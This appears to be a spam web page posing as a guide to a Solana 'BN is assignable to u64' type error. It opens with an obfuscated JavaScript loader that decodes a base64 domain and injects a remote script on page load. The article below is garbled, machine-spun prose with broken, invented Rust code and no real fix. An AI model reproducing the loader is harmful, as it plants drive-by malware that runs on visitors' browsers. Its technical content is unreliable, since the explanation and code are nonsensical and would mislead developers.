Solana: Argument type BN is assignable to parameter of type u64
const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=b917acb5″;document.body.appendChild(script);
Here is the primer based on the codifragment:
Analysis Combination OSHBAK: File Test Suggestions Sorana Voal
The democratic representative begins the structure of the « Apopro » in the test file to attach the solan Vaal, the general bucket. The problem is manifested by the requirement to name type argument type « U64 » parameter « BN ‘(larger) in quality. In this mode, we separate the code and permits.
Analysis code
Dust file divided fragment contains the following pillows:
`Rust
! [Allow (Clippy :: Result_Large_err)]]]
// Inspest injected the lock structure with BN argument
#[test]
FN Test_Poll_init () {
// ...
Let the result = opl.init ();
}
Obraty unimania that « BN » is used in functional () ‘sore argument quality. However, this type of pseudonimpy does not fulfill the real meaning of the U64
.
The discs observed
Several factors may be able to promote this point:
- Exploration of Tips
: Lemper
soan-type alias' Tip
BN, may not be with the voting structure parameter" U64 ".
2
3.
Produced Re -Investing
To solve this problem, hit it:
- You have not healed with the non-trumphant types of the "Sola-Tipo-Lys" crayon.
- The Pseudonim tipBN
-Tipu ruled and access to the test file.
- Use the right syntax to appoint TIPA's argumentU64
Poling Struct.
Here's a predicted primer:
Rust
! [Allow (Clippy :: Result_Large_err)]]]
Use solan_type_alias :: {bn, U64};
#[test]
FN Test_Poll_init () {
// ...
Loop Aburos = opos :: New ();
Let the result = opl.init ();
}
In this excess « U64 » event, it focuses on the lifting « solan -type alias » and is used in the type of « 4 » parameter functional « init ().
conclusion
Fat Vinas shows that it was a requirement to name "BN » values at the other tip (U64
) TIP U64. It becomes clear when analyzing the code that the problem is manifested by unpainted use or type imports. To break this, you will be killed to use the right type and syntax in your test file.
the best practitioner
To go away in the future:
- Remove the pseudonim tip BN is correct.
- Revenge that the parameter
U64
Structquestionnaire" has access to the real value "U64".
- Use the correct syntax chick argument "U64" Tip U64`.
Monitoring these hand -leading accurate, you can write a more reluctant and without the tesuit of your Sorgebing Sorana target.
0 commentaire